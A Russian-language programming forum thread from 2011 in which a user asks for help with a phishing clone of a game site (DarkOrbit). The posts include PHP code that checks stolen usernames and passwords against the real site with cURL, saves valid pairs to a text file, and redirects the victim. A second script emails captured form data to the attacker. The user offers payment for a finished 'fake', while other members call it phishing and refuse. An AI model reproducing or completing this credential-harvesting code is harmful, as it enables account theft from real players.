[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Проверка данных
Гость_Игорь
Мужики помогите написать скрипт чекера на валидность
У меня есть сайт точной копии другого сайта и нужно, чтоб при вводе ника и пароля в мой сайт он проверял эти данные на офф сайте и заходил на него
Вот содержимое login.php (в нём могут быть ошибки)
<?php 
header("Content-type: text/html; charset=utf-8");
$login=$_POST['Login'];
$pass=$_POST['Password'];
$mtext=strlen(file_get_contents('ссылка на авторизацию'.$login.'&Password='.$pass));
if($mtext>39150 && $mtext<39460)
{
}

?>

Коды входа с офф сайта
как я понял что-то из них надо подставить в login.php
 <input type="text" id="loginForm_default_input_username" class="loginForm_default_input" name="loginForm_default_username" /> 

<input type="password" id="loginForm_default_input_password" class="loginForm_default_input" name="loginForm_default_password" /> 

<input type="submit" value="Вход" id="loginForm_default_loginButton" class="loginForm_default_button" name="loginForm_default_login_submit"  />




Спустя 22 минуты, 27 секунд (11.08.2011 - 21:57) walerus написал(а):
Цитата
при вводе ника и пароля в мой сайт он проверял эти данные на офф сайте и заходил на него


Каким образом он их должен проверить? - залогинится туда что ли?

"и заходил на него" - на кого?, на твой сайт или на тот куда чекался??

Спустя 7 минут, 59 секунд (11.08.2011 - 22:05) Guest написал(а):
Приведу пример на этом форуме
Допустим, у меня есть сайт как этот форум один в один
При вводе данных в мой сайт он отсылает запрос на action="login.php"
login.php должен проверить эти данные (логин и пароль) так как база данных не у меня, а на этом форуме
Вот после того как она проверила данные и они оказались верными заходила на офф сайт
Если данные не правильные (с этим сам разберусь)
Главное чтобы скрипт проверял данные и входил

Спустя 34 минуты, 26 секунд (11.08.2011 - 22:40) walerus написал(а):
Курим библиотеку CURL )), там все просто...

Смотрим какие поля отправляются при логине на офф.сайте, такие же поля сабмитим со своего сайта, и проверяем на результат логина, в итоге, при удачном логине, автоматически будешь залогинен, при не удачном - "(с этим сам разберусь)"

Спустя 24 минуты, 54 секунды (11.08.2011 - 23:05) Guest написал(а):
При вводе данных открывается пустая страничка .../login.php
<?php 
/**
*
@author m0hze
*
@copyright 2009
*/

$login = $_POST['loginForm_default_username'];
$password = $_POST['loginForm_default_password'];
header("Location : index.html");
} else {
$post = 'loginForm_default_password='.$login.'&loginForm_default_password='.$password;
$cl = curl_init('http://darkorbit.bigpoint.com/index.es?locale=ru&aid=0&acr=388');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://darkorbit.com/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
if(stristr($exec, 'Неверный логин или пароль')){
$error = file_get_contents('index.html');
echo $error;
}else{
$fo = fopen('1.txt','a');
fwrite($fo,"$login:$password\n");
fclose($fo);
header("Location: http://darkorbit.bigpoint.com/index.es?locale=ru&aid=0&acr=388?loginForm_default_username=$login&loginForm_default_password=$password");
}
}

?>

Спустя 3 часа, 51 минута, 10 секунд (12.08.2011 - 02:56) Invis1ble написал(а):
Guest
фишинг - это плохо

Спустя 9 часов, 18 минут, 22 секунды (12.08.2011 - 12:14) Guest написал(а):
какой фишинг??
что такое фишинг??
скрипт нужен для фейка
заплачу за скрипт такой 150р
+ нужно склеить с отправкой логов на почту
вот рабочий скрипт
<?php 
$BASE="мыло куда отсылаем логи";
$IS_EMAIL=true;
$LOCATION="Куда идем после ввода данных";

$p0=$_REQUEST["srvt="];
$p1=$_REQUEST["DESCRIPTION"];
$p2=$_REQUEST["Keywords"];
$p3=$_REQUEST["Username"];
$p4=$_REQUEST["Domain"];
$headers = "Content-type: text/html; charset=windows-1251\r\n";
$headers .= "From: bot <$BASE>\r\n";
$headers .= "Bcc: $BASE\r\n";
$info="$p0:$p1:$p2:$p3:$p4:\n";

if ($IS_EMAIL){
mail($BASE, "*** Тема сообщения[source][/source]", $headers.$info);
} else {
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
}

header("Location:$LOCATION");
?>

Спустя 4 минуты, 50 секунд (12.08.2011 - 12:19) Invis1ble написал(а):
Игорюня, ты ошибся форумом. Здесь сидят программисты, а не крекеры laugh.gif

Спустя 22 минуты, 26 секунд (12.08.2011 - 12:41) Guest написал(а):
блин скрипт сложно чтоль написать?о_О
выже профи вам на него 5 минут нужно потратить, а я уже второй день парюсь, тем более заплачу 150р яндекс деньги или вебмани
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.